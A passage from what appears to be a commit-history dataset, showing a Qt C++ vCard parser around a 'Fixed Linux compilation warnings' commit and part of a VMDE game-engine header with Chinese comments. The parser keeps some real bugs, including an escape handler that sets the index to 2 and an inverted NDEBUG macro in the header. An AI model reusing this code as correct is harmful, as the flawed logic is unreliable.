std::move(currentParamValue));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssParamValueEnd;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == '\\\\')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Skip the escape\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tcurrentParamValue.append(ch);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamValueDQuote\n\n\t\t\t\tcase ssParamValueEnd:\n\t\t\t\t{\n\t\t\t\t\tif (ch == ',')\n\t\t\t\t\t{\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tsentenceState = ssParamValue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An extra character following a param value double-quote\");\n\t\t\t\t} \/\/ case ssParamValueEnd\n\t\t\t}\n\t\t} \/\/ for i - a_Line[]\n\n\t\tthrow EParseError(__FILE__, __LINE__, \"Incomplete sentence\");\n\t}\n\n\n\n\n\n\t\/** Processes the given sentence in the psIdle parser state. *\/\n\tvoid processSentenceIdle(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ The only valid line in this context is the \"BEGIN:VCARD\" line.\n\t\t\/\/ Any other line will cause an error throw\n\t\tif (\n\t\t\t!a_Sentence.m_Group.isEmpty()\n\t\t)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"Expected a BEGIN:VCARD sentence, got a different sentence\");\n\t\t}\n\t\tm_State = psBeginVCard;\n\t}\n\n\n\n\n\n\t\/** Parses the given single sentence in the psBeginVCard parser state. *\/\n\tvoid processSentenceBeginVCard(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ The only valid sentence in this context is the \"VERSION:X\" line.\n\t\tif (\n\t\t\t!a_Sentence.m_Group.isEmpty() ||\n\t\t\t(a_Sentence.m_Key != \"version\") ||\n\t\t\t!a_Sentence.m_Params.empty()\n\t\t)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"Expected a VERSION sentence, got a different sentence\");\n\t\t}\n\t\tif (a_Sentence.m_Value.toFloat() == 0)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"The VERSION sentence has an invalid value.\");\n\t\t}\n\n\t\tm_CurrentContact.reset(new Contact);\n\t\tm_State = psContact;\n\t}\n\n\n\n\n\n\t\/** Parses the given single (unfolded) line in the psContact parser state. *\/\n\tvoid processSentenceContact(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ If the sentence is \"END:VCARD\", terminate the current contact:\n\t\tif (\n\t\t\ta_Sentence.m_Group.isEmpty() &&\n\t\t\t(a_Sentence.m_Key == \"end\") &&\n\t\t\ta_Sentence.m_Params.empty() &&\n\t\t\t(a_Sentence.m_Value.toLower() == \"vcard\")\n\t\t)\n\t\t{\n\t\t\tif (m_CurrentContact != nullptr)\n\t\t\t{\n\t\t\t\tm_Dest->addContact(m_CurrentContact);\n\t\t\t}\n\t\t\tm_CurrentContact.reset();\n\t\t\tm_State = psIdle;\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Add the sentence to the current contact:\n\t\tm_CurrentContact->addSentence(a_Sentence);\n\t}\n};\n\n\n\n\n\nvoid VCardParser::parse(QIODevice & a_Source, ContactBookPtr a_Dest)\n{\n\tVCardParserImpl impl(a_Source, a_Dest);\n\timpl.parse();\n}\n\n\n\n\n\nstd::vector<std::vector<QByteArray>> VCardParser::breakValueIntoComponents(const QByteArray & a_Value)\n{\n\tstd::vector<std::vector<QByteArray>> res;\n\tres.push_back({});\n\tauto * curComponent = &res.back();\n\tcurComponent->push_back({});\n\tauto * curValue = &curComponent->back();\n\tauto len = a_Value.length();\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tauto ch = a_Value.at(i);\n\t\tswitch (ch)\n\t\t{\n\t\t\tcase ';':\n\t\t\t{\n\t\t\t\t\/\/ Start a new component:\n\t\t\t\tres.push_back({});\n\t\t\t\tcurComponent = &res.back();\n\t\t\t\tcurComponent->push_back({});\n\t\t\t\tcurValue = &curComponent->back();\n\t\t\t\tbreak;\n\t\t\t} \/\/ case ';'\n\n\t\t\tcase ',':\n\t\t\t{\n\t\t\t\t\/\/ Start a new value:\n\t\t\t\tcurComponent->push_back({});\n\t\t\t\tcurValue = &curComponent->back();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcase '\\\\':\n\t\t\t{\n\t\t\t\t\/\/ Skip the escape char and push the next char directly into the current value:\n\t\t\t\ti = 1 + 1;\n\t\t\t\tcurValue->append(a_Value.at(i));\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tcurValue->append(ch);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} \/\/ switch (ch)\n\t} \/\/ for i - a_Value[]\n\n\treturn res;\n}\n\n\n\n\n<commit_msg>Fixed Linux compilation warnings.<commit_after>#include \"VCardParser.h\"\n#include <assert.h>\n#include <QIODevice>\n#include <QByteArray>\n#include <QDebug>\n#include \"Exceptions.h\"\n#include \"Contact.h\"\n\n\n\n\n\n\/** Provides the actual parsing implementation. *\/\nclass VCardParserImpl\n{\npublic:\n\t\/** Creates a new parser instance and binds it to the specified data source and destination contact book. *\/\n\tVCardParserImpl(QIODevice & a_Source, ContactBookPtr a_Dest):\n\t\tm_State(psIdle),\n\t\tm_Source(a_Source),\n\t\tm_Dest(a_Dest),\n\t\tm_CurrentLineNum(0)\n\t{\n\t}\n\n\n\n\t\/** Parses the source data from m_Source into the bound destination contact book m_Dest.\n\tThrows an EException descendant on error. Note that m_Dest may still be filled with some contacts\n\tthat parsed successfully. *\/\n\tvoid parse()\n\t{\n\t\t\/\/ Parse line-by-line, unwrap the lines here:\n\t\tQByteArray acc; \/\/ Accumulator for the current line\n\t\twhile (!m_Source.atEnd())\n\t\t{\n\t\t\tQByteArray cur = m_Source.readLine();\n\t\t\tif (\n\t\t\t\t!cur.isEmpty() &&\n\t\t\t\t(\n\t\t\t\t\t(cur.at(0) == 0x20) || \/\/ Continuation by a SP\n\t\t\t\t\t(cur.at(0) == 0x09) || \/\/ Continuation by a HT\n\t\t\t\t\t!cur.contains(':') \/\/ Some bad serializers don't fold the lines properly, continuations are made without the leading space (LG G4)\n\t\t\t\t)\n\t\t\t)\n\t\t\t{\n\t\t\t\t\/\/ This was a folded line, append it to the accumulator:\n\t\t\t\tcur.remove(0, 1);\n\t\t\t\tacc.append(cur);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ This is a (start of a) new line, process the accumulator and store the new line in it:\n\t\t\t\tif (!acc.isEmpty())\n\t\t\t\t{\n\t\t\t\t\tprocessLine(acc);\n\t\t\t\t}\n\t\t\t\tstd::swap(acc, cur);\n\t\t\t}\n\t\t}\n\t\t\/\/ Process the last line:\n\t\tif (!acc.isEmpty())\n\t\t{\n\t\t\tprocessLine(acc);\n\t\t}\n\t}\n\n\nprotected:\n\n\t\/** The state of the outer state-machine, checking the sentences' sequencing (begin, version, <data>, end). *\/\n\tenum State\n\t{\n\t\tpsIdle, \/\/< The parser has no current contact, it expects a new \"BEGIN:VCARD\" sentence\n\t\tpsBeginVCard, \/\/< The parser has just read the \"BEGIN:VCARD\" line, expects a \"VERSION\" sentence\n\t\tpsContact, \/\/< The parser is reading individual contact property sentence\n\t} m_State;\n\n\t\/** The source data provider. *\/\n\tQIODevice & m_Source;\n\n\t\/** The contact book into which the data is to be written. *\/\n\tContactBookPtr m_Dest;\n\n\t\/** The current contact being parsed.\n\tOnly valid in the psContact state. *\/\n\tContactPtr m_CurrentContact;\n\n\t\/** The number of the line currently being processed (for error reporting). *\/\n\tint m_CurrentLineNum;\n\n\n\n\n\n\t\/** Parses the given single (unfolded) line. *\/\n\tvoid processLine(const QByteArray & a_Line)\n\t{\n\t\tm_CurrentLineNum += 1;\n\t\tif (a_Line.isEmpty() || (a_Line == \"\\n\"))\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\ttry\n\t\t{\n\t\t\tauto sentence = breakUpSentence(a_Line);\n\t\t\tswitch (m_State)\n\t\t\t{\n\t\t\t\tcase psIdle: processSentenceIdle(sentence); break;\n\t\t\t\tcase psBeginVCard: processSentenceBeginVCard(sentence); break;\n\t\t\t\tcase psContact: processSentenceContact(sentence); break;\n\t\t\t}\n\t\t}\n\t\tcatch (const EParseError & exc)\n\t\t{\n\t\t\tqWarning() << QString::fromUtf8(\"Cannot parse VCARD, line %1: %2. The line contents: \\\"%3\\\"\")\n\t\t\t\t.arg(m_CurrentLineNum)\n\t\t\t\t.arg(QString::fromStdString(exc.m_Message))\n\t\t\t\t.arg(QString::fromUtf8(a_Line));\n\t\t\tthrow;\n\t\t}\n\t}\n\n\n\n\n\n\t\/** Breaks the specified single (unfolded) line into the contact sentence representation. *\/\n\tContact::Sentence breakUpSentence(const QByteArray & a_Line)\n\t{\n\t\tContact::Sentence res;\n\n\t\t\/\/ The state of the inner state-machine, parsing a single sentence.\n\t\t\/\/ Each sentence has a basic structure of \"[group.]key[;param1;param2]=value\"\n\t\tenum\n\t\t{\n\t\t\tssBegin, \/\/< The parser is reading the beginning of the sentence (group or key)\n\t\t\tssKey, \/\/< The parser is reading the key (the group was present)\n\t\t\tssParamName, \/\/< The parser is reading the param name\n\t\t\tssParamValue, \/\/< The parser is reading the param value\n\t\t\tssParamValueDQuote, \/\/< The parser is reading the param value and is inside a dquote\n\t\t\tssParamValueEnd, \/\/< The parser has just finished the DQuote of a param value\n\t\t} sentenceState = ssBegin;\n\n\t\tauto len = a_Line.length();\n\t\tassert(len > 0);\n\t\tif (a_Line.at(len - 1) == '\\n')\n\t\t{\n\t\t\tassert(len > 1);\n\t\t\tlen -= 1;\n\t\t}\n\t\tint last = 0;\n\t\tQByteArray currentParamName, currentParamValue;\n\t\tfor (auto i = 0; i < len; ++i)\n\t\t{\n\t\t\tauto ch = a_Line.at(i);\n\t\t\tswitch (sentenceState)\n\t\t\t{\n\t\t\t\tcase ssBegin:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '.')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Group = a_Line.mid(0, i - 1);\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssKey;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t\/\/ fallthrough\n\t\t\t\t} \/\/ case ssBegin\n\n\t\t\t\tcase ssKey:\n\t\t\t\t{\n\t\t\t\t\tif (ch == ';')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (last == i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An empty key is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tres.m_Key = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssParamName;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (last == i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An empty key is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tres.m_Key = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == '.')\n\t\t\t\t\t{\n\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"A group has already been parsed, cannot add another one.\");\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssKey\n\n\t\t\t\tcase ssParamName:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '=')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (i == last)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"A parameter with no name is not allowed\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcurrentParamName = a_Line.mid(last, i - last).toLower();\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tsentenceState = ssParamValue;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ';')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Value-less parameter with another parameter following (\"TEL;CELL;OTHER:...\")\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, QByteArray());\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Value-less parameter ending the params (\"TEL;CELL:...\")\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, QByteArray());\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamName\n\n\t\t\t\tcase ssParamValue:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '\"')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (i > last)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"Param value double-quoting is wrong\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ',')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamValue\n\n\t\t\t\tcase ssParamValueDQuote:\n\t\t\t\t{\n\t\t\t\t\tif (ch == '\"')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, std::move(currentParamValue));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tsentenceState = ssParamValueEnd;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == '\\\\')\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Skip the escape\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tcurrentParamValue.append(ch);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} \/\/ case ssParamValueDQuote\n\n\t\t\t\tcase ssParamValueEnd:\n\t\t\t\t{\n\t\t\t\t\tif (ch == ',')\n\t\t\t\t\t{\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tcurrentParamValue.clear();\n\t\t\t\t\t\tsentenceState = ssParamValue;\n\t\t\t\t\t}\n\t\t\t\t\tif (ch == ':')\n\t\t\t\t\t{\n\t\t\t\t\t\tres.m_Params.emplace_back(currentParamName, a_Line.mid(last, i - last));\n\t\t\t\t\t\tlast = i + 1;\n\t\t\t\t\t\tres.m_Value = a_Line.mid(i + 1, len - i - 1);\n\t\t\t\t\t\treturn res;\n\t\t\t\t\t}\n\t\t\t\t\tthrow EParseError(__FILE__, __LINE__, \"An extra character following a param value double-quote\");\n\t\t\t\t} \/\/ case ssParamValueEnd\n\t\t\t}\n\t\t} \/\/ for i - a_Line[]\n\n\t\tthrow EParseError(__FILE__, __LINE__, \"Incomplete sentence\");\n\t}\n\n\n\n\n\n\t\/** Processes the given sentence in the psIdle parser state. *\/\n\tvoid processSentenceIdle(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ The only valid line in this context is the \"BEGIN:VCARD\" line.\n\t\t\/\/ Any other line will cause an error throw\n\t\tif (\n\t\t\t!a_Sentence.m_Group.isEmpty()\n\t\t)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"Expected a BEGIN:VCARD sentence, got a different sentence\");\n\t\t}\n\t\tm_State = psBeginVCard;\n\t}\n\n\n\n\n\n\t\/** Parses the given single sentence in the psBeginVCard parser state. *\/\n\tvoid processSentenceBeginVCard(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ The only valid sentence in this context is the \"VERSION:X\" line.\n\t\tif (\n\t\t\t!a_Sentence.m_Group.isEmpty() ||\n\t\t\t(a_Sentence.m_Key != \"version\") ||\n\t\t\t!a_Sentence.m_Params.empty()\n\t\t)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"Expected a VERSION sentence, got a different sentence\");\n\t\t}\n\t\tif (a_Sentence.m_Value.toFloat() == 0)\n\t\t{\n\t\t\tthrow EParseError(__FILE__, __LINE__, \"The VERSION sentence has an invalid value.\");\n\t\t}\n\n\t\tm_CurrentContact.reset(new Contact);\n\t\tm_State = psContact;\n\t}\n\n\n\n\n\n\t\/** Parses the given single (unfolded) line in the psContact parser state. *\/\n\tvoid processSentenceContact(const Contact::Sentence & a_Sentence)\n\t{\n\t\t\/\/ If the sentence is \"END:VCARD\", terminate the current contact:\n\t\tif (\n\t\t\ta_Sentence.m_Group.isEmpty() &&\n\t\t\t(a_Sentence.m_Key == \"end\") &&\n\t\t\ta_Sentence.m_Params.empty() &&\n\t\t\t(a_Sentence.m_Value.toLower() == \"vcard\")\n\t\t)\n\t\t{\n\t\t\tif (m_CurrentContact != nullptr)\n\t\t\t{\n\t\t\t\tm_Dest->addContact(m_CurrentContact);\n\t\t\t}\n\t\t\tm_CurrentContact.reset();\n\t\t\tm_State = psIdle;\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Add the sentence to the current contact:\n\t\tm_CurrentContact->addSentence(a_Sentence);\n\t}\n};\n\n\n\n\n\nvoid VCardParser::parse(QIODevice & a_Source, ContactBookPtr a_Dest)\n{\n\tVCardParserImpl impl(a_Source, a_Dest);\n\timpl.parse();\n}\n\n\n\n\n\nstd::vector<std::vector<QByteArray>> VCardParser::breakValueIntoComponents(const QByteArray & a_Value)\n{\n\tstd::vector<std::vector<QByteArray>> res;\n\tres.push_back({});\n\tauto * curComponent = &res.back();\n\tcurComponent->push_back({});\n\tauto * curValue = &curComponent->back();\n\tauto len = a_Value.length();\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tauto ch = a_Value.at(i);\n\t\tswitch (ch)\n\t\t{\n\t\t\tcase ';':\n\t\t\t{\n\t\t\t\t\/\/ Start a new component:\n\t\t\t\tres.push_back({});\n\t\t\t\tcurComponent = &res.back();\n\t\t\t\tcurComponent->push_back({});\n\t\t\t\tcurValue = &curComponent->back();\n\t\t\t\tbreak;\n\t\t\t} \/\/ case ';'\n\n\t\t\tcase ',':\n\t\t\t{\n\t\t\t\t\/\/ Start a new value:\n\t\t\t\tcurComponent->push_back({});\n\t\t\t\tcurValue = &curComponent->back();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcase '\\\\':\n\t\t\t{\n\t\t\t\t\/\/ Skip the escape char and push the next char directly into the current value:\n\t\t\t\ti = 1 + 1;\n\t\t\t\tcurValue->append(a_Value.at(i));\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tcurValue->append(ch);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} \/\/ switch (ch)\n\t} \/\/ for i - a_Value[]\n\n\treturn res;\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/=============================================================================\n\/\/ ■ VMDE\/global.hpp\n\/\/-----------------------------------------------------------------------------\n\/\/ 在VMDE的内部,包容一切的头。\n\/\/ 关于只有一个头:\n\/\/ 我完全无法理解为什么C要采用有头文件的设计。当然这很可能是历史遗留问题,\n\/\/ 但这导致了C程序员总是需要花费大量时间整理头文件,且这时间花得莫名其妙。\n\/\/ 而这在其他任何语系中都不是问题:即使是采用C语法的衍生语言,也不会保留\n\/\/ 这个“特性”。因此我们需要解决它。\n\/\/ 采用#include管理多文件编译是最好的解决方案。在现今编译单个文件的速度有极\n\/\/ 大提升的时代,一个个编译小文件却慢得多。然而这个解决方案并不能在像VMDE这\n\/\/ 样的合作项目中进行,因为它会让很多已建立的条件反射、编译器、IDE日狗。\n\/\/ 单一头文件也是一个可行的方案。它保留了头文件,但只有一个——这意味着所有\n\/\/ 你需要编辑的头都在固定的位置,给身体和手带来了放松的空间,同时也保证编辑\n\/\/ 器的标签栏(如果有的话)不会因为头文件而缩小为原来的一半。\n\/\/ 当然,还有一个解决办法就是只用一个.c文件。结果:从此这个项目就没落了。\n\/\/ 综上所述,我选择狗带,砍了其他所有头。\n\/\/=============================================================================\n\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n#include <math.h>\n#include <ctime>\n#include <thread>\n#include <cstdarg>\n#include <cassert>\n\n#include <GL\/glew.h>\n#include <GLFW\/glfw3.h>\n#include <SOIL.h>\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <portaudio.h>\n#include <vorbis\/vorbisfile.h>\n\n#ifndef _INCLUDE_GLOBAL_H\n\t#define _INCLUDE_GLOBAL_H\n\tusing namespace std;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● PY Deal For MICR0$○F┬ Windoges (ᴚ)\n\t\/\/Becuase it;s Windoges,I jsut dno't want to use CORERCT ENGRISh &忠闻吔屎炉此\n\t\/\/-------------------------------------------------------------------------\n\t#ifdef __MINGW32__\n\t\t#define EXPORTED extern \"C\" __declspec(dllexport)\n\t#else\n\t\t#define EXPORTED extern \"C\"\n\t#endif\n\t#ifdef __CYGWIN__\n\t\t#warning This will not work in Cygwin. Try at your own risk.\n\t#endif\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● 定义宏魔法\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ NDEBUG - 给assert用的,虽然好像这项目里没人用assert\n\t\/\/ 这个DEBUG在make的时候加(make debug)。\n\t#ifdef DEBUG\n\t\t#define NDEBUG\n\t#else\n\t\t#undef NDEBUG\n\t#endif\n\t\/\/ ARRAY_SIZE - 获取定义的数组大小\n\t\/\/ int a[56]; → ARRAY_SIZE(a) == 56\n\t#define ARRAY_SIZE(a) (sizeof(a) \/ sizeof(*(a)))\n\t\/\/ MLVN - Macro-Local Variable Name\n\t\/\/ 这是为了不让明文变量名被莫名其妙使用而设计的。\n\t\/\/ #define TEST do { int MLVN() = 0, MLVN(another) = 0; } while(0)\n\t#define MLVN(name) My_Lovely_##name##___\n\t\/\/ NTIMES - 执行多次\n\t\/\/ NTIMES(3) puts(\"Three or more, use a for\");\n\t#define NTIMES(n) \\\n\t\tfor (unsigned short MLVN(index) = 0; MLVN(index) < (n); MLVN(index)++)\n\t\/\/ TWICE - 执行两次\n\t\/\/ TWICE a++;\n\t\/\/ TWICE { a++; b++; }\n\t#define TWICE NTIMES(2)\n\t\/\/ XE - 释放内存黑魔法\n\t\/\/ “X掉Exceptions”!\n\t\/\/ void* m;\n\t\/\/ m = malloc(1); xe(free, m);\n\t\/\/ m = (void*) 0; xe(free, m);\n\t\/\/ m = new float; xe(delete, m);\n\t\/\/ m = new tm[4]; xe(delete[], m);\n\t#define XE(method, pointer) do { \\\n\t\tif (pointer) { \\\n\t\t\tmethod(pointer); \\\n\t\t\t(pointer) = NULL; \\\n\t\t} \\\n\t} while (false)\n\t\/\/ VMDE_Dispose - 一键销毁宏魔法\n\t#define VMDE_Dispose(method, object) do { \\\n\t\tif (object) { \\\n\t\t\tmethod(object); \\\n\t\t\t(object) = NULL; \\\n\t\t} \\\n\t} while (false)\n\t\/\/ DEBUG_ENVIRONMENT - 调试环境\n\t\/\/ 这个字符串会显示在log函数输出的开头。\n\t#define DEBUG_ENVIRONMENT \"VMDE\"\n\t\/\/ log - Util::log_internal的方便缩写,可以直接得到当前函数名\n\t\/\/ log(\"%p\", log);\n\t#define log(...) Util::log_internal(DEBUG_ENVIRONMENT, __func__, __VA_ARGS__)\n\t\/\/ mark - 逐行打log的偷懒大法\n\t#define mark log(\"Mark on line %d of %s\", __LINE__, __FILE__)\n\t\/\/ error_internal\n\t#define error_internal(extra, ...) do { \\\n\t\tlog(__VA_ARGS__); \\\n\t\textra \\\n\t\texit(1); \\\n\t} while (false)\n\t\/\/ error - 抛出错误并终止程序\n\t#define error(...) error_internal(, __VA_ARGS__)\n\t\/\/ errorp - error + perror\n\t#define errorp(...) error_internal(perror(\"perror()\"), __VA_ARGS__)\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● util.cpp\n\t\/\/ 这个Util的意义已经远超utility。\n\t\/\/-------------------------------------------------------------------------\n\tnamespace Util {\n\t\textern FILE* log_file;\n\t\tvoid init();\n\t\tvoid terminate();\n\t\tvoid log_internal(const char*, const char*, const char*, ...)\n\t\t\t__attribute__((format(printf, 3, 4)));\n\t\tchar* read_file(const char* filename);\n\t}\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● 子文件夹中的头文件\n\t\/\/-------------------------------------------------------------------------\n\t#include \"VLib\/V.hpp\"\n\t#include \"Audio\/audio.hpp\"\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● init.cpp\n\t\/\/-------------------------------------------------------------------------\n\tEXPORTED void init_engine(int w, int h, const char* title);\n\tvoid setup_viewport();\n\tvoid init_vmde(int w, int h);\n\tvoid check_gl_error();\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● terminate.cpp\n\t\/\/-------------------------------------------------------------------------\n\tEXPORTED void terminate_engine();\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● main.cpp\n\t\/\/-------------------------------------------------------------------------\n\tvoid glfw_error_callback(int error, const char* description);\n\tvoid main_draw_start();\n\tvoid main_draw_end();\n\tvoid main_set_brightness(float b);\n\textern glm::mat4 projection, view;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● RenderObject.cpp\n\t\/\/-------------------------------------------------------------------------\n\tclass Object {\n\tpublic:\n\t\tvirtual ~Object();\n\t};\n\n\tclass RenderObject : public Object {\n\tpublic:\n\t\tvirtual void render() = 0;\n\t};\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● resources.cpp\n\t\/\/-------------------------------------------------------------------------\n\tnamespace Res {\n\t\tstruct TextureParameters {\n\t\t\tGLuint WRAP_MODE_S, WRAP_MODE_T;\n\t\t\tGLuint MIN_FILTER, MAG_FILTER;\n\t\t\tGLuint MIPMAP_LEVEL;\n\t\t\tGLuint PixelFormat, PixelType;\n\t\t};\n\t\t\n\t\textern struct TextureParameters DefaultTextureParameters;\n\t\textern struct TextureParameters LinearTextureParameters;\n\t\n\t\tclass Texture : public Object {\n\t\tpublic:\n\t\t\tGLuint texture, index;\n\t\t\tint width, height;\n\t\t\tstruct TextureParameters* parameter;\n\t\t\t\n\t\t\tTexture();\n\t\t\tTexture(const char* file);\n\t\t\tTexture(const char* file, struct TextureParameters* p);\n\n\t\t\t~Texture();\n\t\t};\n\t}\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● shaders.cpp\n\t\/\/-------------------------------------------------------------------------\n\tclass Shaders : public Object {\n\tpublic:\n\t\t#define SHADERS_SLOT_COUNT 16\n\t\tGLuint shaders[SHADERS_SLOT_COUNT];\n\t\tsize_t shader_count = 0;\n\t\tGLuint program;\n\n\t\tGLuint UBO_matrix;\n\t\tglm::mat4 mat[3];\n\n\tpublic:\n\t\tShaders();\n\t\tvoid add_string(GLenum type, const GLchar* source);\n\t\tvoid add_file(GLenum type, const char* filename);\n\t\tvoid link_program();\n\t\tvoid use();\n\n\t\tvoid set_float(const char* identifier, GLfloat value);\n\t\tvoid set_int(const char* identifier, GLint value);\n\t\tvoid set_texture(const char* identifier, Res::Texture* tex, GLuint index);\n\n\t\tvoid ProjectionView(glm::mat4 projection, glm::mat4 view);\n\n\t\t~Shaders();\n\n\tprivate:\n\t\tstatic void check_shader_compilation(\n\t\t\tGLuint shader,\n\t\t\tconst char* msg = \"shader compile error\"\n\t\t);\n\t\tstatic void check_linkage(\n\t\t\tGLuint program,\n\t\t\tconst char* msg = \"link error\"\n\t\t);\n\t};\n\textern Shaders* _shaders_in_use;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● VMDE\n\t\/\/-------------------------------------------------------------------------\n\tstruct VMDEState {\n\t\tbool frozen;\n\t\tfloat brightness;\n\t};\n\n\tenum GL_VER {\n\t\tGL_33,\n\t\tGL_43,\n\t\tVULKAN \/\/ Not used\n\t};\n\n\tstruct VMDE {\n\t\tVMDEState state;\n\t\tlong 